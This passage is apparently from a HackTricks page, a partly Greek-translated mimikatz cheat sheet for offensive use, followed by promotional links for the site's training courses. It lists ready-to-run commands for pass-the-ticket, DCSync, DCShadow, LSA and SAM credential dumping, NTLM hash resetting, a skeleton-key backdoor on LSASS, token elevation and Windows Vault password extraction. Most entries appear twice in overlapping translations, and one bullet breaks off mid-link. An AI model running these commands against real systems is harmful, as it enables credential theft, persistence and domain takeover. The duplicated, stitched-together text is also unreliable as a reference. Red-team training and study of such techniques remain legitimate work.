- Εμφανίζει όλα τα εισιτήρια Kerberos για την τρέχουσα συνεδρία χρήστη.
- **Listing Tickets**:
- Command: `kerberos::list`
- Λίστα όλων των Kerberos εισιτηρίων για την τρέχουσα συνεδρία χρήστη.
- **Πέρασμα της Κρυφής Μνήμης**:
- Εντολή: `kerberos::ptc`
- Εισάγει εισιτήρια Kerberos από αρχεία μνήμης.
- Παράδειγμα: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Pass the Cache**:
- Command: `kerberos::ptc`
- Εισάγει Kerberos εισιτήρια από αρχεία cache.
- Example: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Πέρασμα του Εισιτηρίου**:
- Εντολή: `kerberos::ptt`
- Επιτρέπει τη χρήση ενός εισιτηρίου Kerberos σε μια άλλη συνεδρία.
- Παράδειγμα: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Pass the Ticket**:
- Command: `kerberos::ptt`
- Επιτρέπει τη χρήση ενός Kerberos εισιτηρίου σε άλλη συνεδρία.
- Example: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Εκκαθάριση Εισιτηρίων**:
- Εντολή: `kerberos::purge`
- Καθαρίζει όλα τα εισιτήρια Kerberos από τη συνεδρία.
- Χρήσιμο πριν από τη χρήση εντολών παραπλάνησης εισιτηρίων για να αποφευχθούν συγκρούσεις.
- **Purge Tickets**:
- Command: `kerberos::purge`
- Καθαρίζει όλα τα Kerberos εισιτήρια από τη συνεδρία.
- Χρήσιμο πριν από τη χρήση εντολών χειρισμού εισιτηρίων για την αποφυγή συγκρούσεων.
### Παρεμβολή στο Active Directory
### Active Directory Tampering
- **DCShadow**: Καθιστά προσωρινά μια μηχανή να λειτουργεί ως DC για την παραπλάνηση αντικειμένων AD.
- **DCShadow**: Προσωρινά να κάνει μια μηχανή να λειτουργεί ως DC για χειρισμό αντικειμένων AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Προσομοιώνει ένα DC για να ζητήσει δεδομένα κωδικών πρόσβασης.
- **DCSync**: Μιμείται ένα DC για να ζητήσει δεδομένα κωδικού πρόσβασης.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Πρόσβαση σε Διαπιστευτήρια
### Credential Access
- **LSADUMP::LSA**: Εξαγωγή διαπιστευτηρίων από το LSA.
- **LSADUMP::LSA**: Εξάγει διαπιστευτήρια από LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Παραπλανά ένα DC χρησιμοποιώντας τα δεδομένα κωδικού πρόσβασης ενός λογαριασμού υπολογιστή.
- *Δεν παρέχεται συγκεκριμένη εντολή για το NetSync στο αρχικό περιεχόμενο.*
- **LSADUMP::NetSync**: Υποδύεται ένα DC χρησιμοποιώντας τα δεδομένα κωδικού πρόσβασης ενός υπολογιστή.
- *Δεν παρέχεται συγκεκριμένη εντολή για NetSync στο αρχικό κείμενο.*
- **LSADUMP::SAM**: Πρόσβαση στην τοπική βάση δεδομένων SAM.
- **LSADUMP::SAM**: Πρόσβαση στη τοπική βάση δεδομένων SAM.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Αποκρυπτογράφηση μυστικών που αποθηκεύονται στο μητρώο.
- **LSADUMP::Secrets**: Αποκρυπτογραφεί μυστικά που είναι αποθηκευμένα στο μητρώο.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Ορίζει ένα νέο NTLM hash για έναν χρήστη.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Ανάκτηση πληροφοριών ελέγχου εμπιστοσύνης.
- **LSADUMP::Trust**: Ανακτά πληροφορίες πιστοποίησης εμπιστοσύνης.
- `mimikatz "lsadump::trust" exit`
### Διάφορα
### Miscellaneous
- **MISC::Skeleton**: Εισάγει μια πίσω πόρτα στο LSASS σε ένα DC.
- **MISC::Skeleton**: Εισάγει ένα backdoor στο LSASS σε ένα DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Ανέλιξη Προνομίων
### Privilege Escalation
- **PRIVILEGE::Backup**: Απόκτηση δικαιωμάτων αντιγράφου ασφαλείας.
- **PRIVILEGE::Backup**: Αποκτά δικαιώματα αντιγράφου ασφαλείας.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Απόκτηση προνομίων αποσφαλμάτωσης.
- **PRIVILEGE::Debug**: Αποκτά δικαιώματα αποσφαλμάτωσης.
- `mimikatz "privilege::debug" exit`
### Αποκομιδή Διαπιστευτηρίων
### Credential Dumping
- **SEKURLSA::LogonPasswords**: Εμφάνιση διαπιστευτηρίων για συνδεδεμένους χρήστες.
- **SEKURLSA::LogonPasswords**: Εμφανίζει διαπιστευτήρια για συνδεδεμένους χρήστες.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Εξαγωγή εισιτηρίων Kerberos από τη μνήμη.
- **SEKURLSA::Tickets**: Εξάγει Kerberos εισιτήρια από τη μνήμη.
- `mimikatz "sekurlsa::tickets /export" exit`
### Παρεμβολή Sid και Token
### Sid and Token Manipulation
- **SID::add/modify**: Αλλαγή SID και SIDHistory.
- Προσθήκη: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Τροποποίηση: *Δεν παρέχεται συγκεκριμένη εντολή για τροποποίηση στο αρχικό περιεχόμενο.*
- **SID::add/modify**: Αλλάζει SID και SIDHistory.
- Add: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modify: *Δεν παρέχεται συγκεκριμένη εντολή για modify στο αρχικό κείμενο.*
- **TOKEN::Elevate**: Παραπλάνηση διακριτικών.
- **TOKEN::Elevate**: Υποδύεται tokens.
- `mimikatz "token::elevate /domainadmin" exit`
### Υπηρεσίες Τερματικού
### Terminal Services
- **TS::MultiRDP**: Επιτρέπει πολλαπλές συνεδρίες RDP.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Καταχωρεί τις συνεδρίες TS/RDP.
- *Δεν παρέχεται συγκεκριμένη εντολή για TS::Sessions στο αρχικό περιεχόμενο.*
- **TS::Sessions**: Λίστα συνεδριών TS/RDP.
- *Δεν παρέχεται συγκεκριμένη εντολή για TS::Sessions στο αρχικό κείμενο.*
### Θησαυροφυλάκιο
### Vault
- Εξαγωγή κωδικών πρόσβασης από το Θησαυροφυλάκιο των Windows.
- Εξάγει κωδικούς πρόσβασης από το Windows Vault.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον επαγγελματία με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στο** [**α
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}